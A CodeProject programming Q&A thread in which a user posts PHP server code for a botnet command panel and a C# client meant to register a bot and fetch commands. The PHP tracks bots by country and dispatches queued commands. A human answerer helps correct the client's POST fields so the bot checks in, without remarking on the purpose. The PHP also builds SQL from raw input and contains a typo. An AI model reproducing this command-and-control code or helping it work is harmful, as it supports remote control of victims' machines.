Click here to Skip to main content
15,891,607 members
Please Sign up or sign in to vote.
1.00/5 (2 votes)
See more:
server.php
PHP
<pre><?php
include("./inc/config.php");
include("./inc/funcs.php");
include("./geoip.inc");

function extractstr($string)
{
    return substr($string, 1, strlen($string) - 2);
}

$handle = geoip_open("GeoIP.dat", GEOIP_STANDARD);
if (isset($_POST['mode']))
{
    if ($_POST['mode'] == 1) {
        $sql = "SELECT `commands` FROM `lst_bots`` WHERE `UID` = '".dRead("UID")."';";
        $res = mysql_query($sql);
        $strCommands = mysql_result($res,0);
        if ($strCommands <> "")
        {
            $arrCommands = explode("#", $strCommands);
            if (count($arrCommands) > 0)
            {
                for($p=0;$p<(count($arrCommands) -1);$p++)
                {
                    if ($arrCommands[$p] <> "")
                    {
                        $arrCommands[$p] = extractstr($arrCommands[$p]);
                        $sql = "SELECT * FROM `lst_commands` WHERE `ID` = '".$arrCommands[$p]."';";
                        $res = mysql_query($sql);
                        if (mysql_num_rows($res) > 0) 
                        {
                            while ($adr = mysql_fetch_array($res))
                            {
                                $strParam = mysql_result($res,0);
                                if(($adr['done'] < $adr['max']) && ($addr['max'] != "0"))
                                {
                                    echo $adr['ID']."|".$adr['command'].$adr['parameters']."\n";
                                }
                            }
                        }
                        else
                        {
                            $strCommands = str_replace("[".$arrCommands[$p]."]#","",$strCommands);
                            $sql = "UPDATE `lst_bots` SET `commands` = '".$strCommands."' WHERE `UID` = '".dRead("UID")."';";
                            mysql_query($sql);
                        }
                    }
                } 
            } 
        }
    } 
    elseif ($_POST['mode'] == 2) 
    {
        $sql = "SELECT `ID` FROM `lst_bots` WHERE `UID` = '".dRead("UID")."';";
        $res = mysql_query($sql);
        if (mysql_num_rows($res) < 1) {
            $strCountry = geoip_country_name_by_addr($handle, $_SERVER['REMOTE_ADDR']);
            $strCountryCode = geoip_country_code_by_addr($handle, $_SERVER['REMOTE_ADDR']);
            if ($strCountry  == "")
            {
                $strCountry  = "Unknown";
            }
            if ($strCountryCode  == "")
            {
                $strCountryCode  = "fam";
            }
            else
            {
                $strCountryCode = strtolower($strCountryCode);
            }
            $sql = "INSERT INTO `lst_bots` (`ID`, `UID`, `country`, `commands`,`version`,`lasttime`) VALUES (NULL, '".dRead("UID")."', '".$strCountry."','', '".dRead("version")."','".time()."');";
            mysql_query($sql);
            $sql = "SELECT `ID` FROM `lst_countries` WHERE `countryname` = '".$strCountry."';";
            $res = mysql_query($sql);
            if (mysql_num_rows($res) > 0) {
                $sql = "UPDATE `lst_countries` SET `totalbots` = `totalbots` + 1 WHERE `countryname` = '".$strCountry."';";
                $res = mysql_query($sql);
            }
            else
            { 	 	 
                $sql = "INSERT INTO `lst_countries` (`ID`, `countryname`, `countrycode`, `totalbots`) VALUES (NULL, '".$strCountry."', '".$strCountryCode."', '1');";
                mysql_query($sql);
            } 
        }
        else
        {
            $sql = "UPDATE `lst_bots` SET `lasttime` = '".time()."' WHERE `UID` = '".dRead("UID")."';";
            $res = mysql_query($sql);
        }
    }
    elseif ($_POST['mode'] == 3) 
    {
        if (isset($_POST['cmdid']))
        {
            $strFullCmdList = "";
            $sql = "SELECT `commands` FROM `lst_bots` WHERE `UID` = '".dRead("UID")."';";
            $res = mysql_query($sql);
            if (mysql_num_rows($res) > 0) 
            {
                $strCommand = mysql_result($res,0);
                if ($strCommand <> "")
                {
                    $strCommand = str_replace("[".dRead("cmdid")."]#","",$strCommand);
                    $sql = "UPDATE `lst_bots` SET `commands` = '".$strCommand."' WHERE `UID` = '".dRead("UID")."';";
                    mysql_query($sql);
                    echo $strCommand;
                }
            }
            //Increase Execution
            $sql = "UPDATE `lst_commands` SET `done` = `done` + 1 WHERE `ID` = '".dRead("cmdid")."';";
            $res = mysql_query($sql);
        }
    }
}		
geoip_close($handle);
die("");
?>


What I have tried:

I have tried this C# application code but this dont work for me.

C#
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Net;
using System.Web;
using System.Collections.Specialized;
using System.IO;
using System.Diagnostics;
using System.Threading;

namespace umbra
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void button1_Click(object sender, EventArgs e)
        {

           

            using (var client = new WebClient())
            {
                var values = new NameValueCollection();
                values["mode1"] = "";
                values["mode2"] = "";
                values["mode3"] = "";
                values["cmdid"] = "";
                var response = client.UploadValues("http://localhost/panel/my/1/umbrella/panel/bot.php", values);

                var responseString = Encoding.Default.GetString(response);
            }

        }
        }
    }
Posted
Updated 30-Jan-17 3:25am
Comments
CHill60 30-Jan-17 7:21am    
"don't work" is not very helpful - what happens (or doesn't happen)
lekaton lekatyan 30-Jan-17 8:30am    
Bot wasn't appears in panel

1 solution

The obvious problem is that your PHP code is looking for a form variable called mode, which should be set to either 1, 2, or 3; but your C# code is not sending that variable. Instead, you're sending three variables called mode1, mode2 and mode3, all set to empty strings.

For mode=3, your PHP code is also reading the value of the cmdid variable, but again, your C# code is sending an empty string.

Update your C# code to submit the correct variables and values. For example:
C#
values["mode"] = "3";
values["cmdid"] = "some-value-here";

NB: Replace "some-value-here" with the expected value of the cmdid variable.
 
Share this answer
 
Comments
lekaton lekatyan 31-Jan-17 19:26pm    
Thx for answer but that's not working :/
Richard Deeming 1-Feb-17 7:50am    
"Not working" is not enough information for anyone to diagnose the problem.
lekaton lekatyan 1-Feb-17 15:39pm    
You know , when i trying to send data with this code
values["mode"] = "3";
values["cmdid"] = "some-value-here";
Bot doesn't appears in panel. //Sorry for my English
Richard Deeming 1-Feb-17 16:41pm    
Are you actually sending "some-value-here", or did you follow my instructions and replace that with the value that your PHP script is expecting?
lekaton lekatyan 1-Feb-17 17:28pm    
values["mode"] = "3";
values["cmdid"] = "mode3";

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)



CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900